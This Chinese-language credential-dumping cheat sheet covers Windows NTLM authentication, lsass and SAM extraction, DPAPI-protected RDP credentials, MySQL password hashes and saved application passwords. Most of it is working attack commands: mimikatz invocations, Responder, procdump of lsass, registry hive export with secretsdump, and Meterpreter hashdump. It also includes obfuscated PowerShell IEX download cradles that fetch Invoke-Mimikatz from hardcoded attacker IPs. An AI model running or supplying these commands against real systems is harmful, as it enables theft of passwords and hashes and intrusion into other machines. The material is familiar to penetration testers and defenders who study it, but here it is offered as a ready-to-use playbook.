Windows的认证包括三个部分:
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的。
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。
NTLM 协议的认证过程分为三步,也叫挑战相应机制:
1.协商
双方确定使用的协议版本, NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同
在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法
2.质询
挑战(Chalenge)/ 响应(Response)认证机制的核心
3.验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进
行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈
希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道
正确的密码也可通过认证。
responder -I eth0 -v -r -f
mimikatz for Win10下载:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式凭证获取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码
1.X
privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1
Powershell本地加载mimikatz脚本:
powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' #提权=>导出明文密码
powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"' # 提权=>导入数据库,ntlmhash密文
Powershell远程加载mimikatz脚本:
python3 -m http.server
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps-ip:8000/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred
powershell混淆:
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvokeMimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell 加载 Get-PassHashes脚本:
脚本下载地址:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
python3 -m http.server
powershell IEX(new-object net.webclient).downloadstring('http://1.15.132.67:8000/GetPassHashes.ps1');Get-PassHashes
Procdump下载:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 进程导出:
For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用 mimikatz 还原密码:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket:
https://github.com/SecureAuthCorp/impacket/tree/master/examples
python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL
Hashdump
方法一
查看用户权限是否为system,不是的话进行提权,提权后,使用hashdump模块导出hash值。
将hash值放到第三方页面读取明文密码。
方法二
使用post/windows/gather/smart_hashdump模块导出hash。
Hash格式: 用户名称:RID:LM-HASH值:NTLM-HASH值
mimikatz
方法三
load kiwi //加载模块
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令
hashdump
logonpasswords
mimikatz sekurlsa::logonpasswords
mimikatz
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
dir /a %userprofile%\AppData\Local\Microsof\Credentials\*
cmdkey /list
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
cmdkey /list
privilege::debug
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\密码文件名
记录值guidMasterKey : {34dc48bb-0af9-4925-bf07fakhsdjahsdja}
sekurlsa::dpapi
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\1密码文件 /masterkey:masterkey对应的值
脚本下载地址 https://github.com/3gstudent/List-RDP-Connections-History.git
powershell -exec bypass .\ListLogged-inUsers.ps1
shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
由于没有远程连接过,下面只赘述步骤,不进行演示,有连接记录的话可以操作。
shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
shell cmdkey /list
mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\文件名" "exit"
一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。
一般都包含有数据库类型,物理位置,用户名和密码等信息
MYSQL数据库文件类型
MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件;
“.frm” 是描述表结构的文件
“.MYD” 是表的数据文件
“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中
与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ,MYSQL数据库用户密码都保存
在 user.MYD 文件中,包括root用户和其他用户的密码。
Mysql加密方式
MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际的密码运算中, MYSQLSHA1 加密的密码的实际位数是40位。
获取Mysql数据库密码hash值
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码值:
Hash破解
在线网站破解
www.cmd5.com
www.somd5.com
上边已有Hash破解方法,这里不做赘述。
其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
源码:
https://github.com/RowTeam/SharpDecryptPwd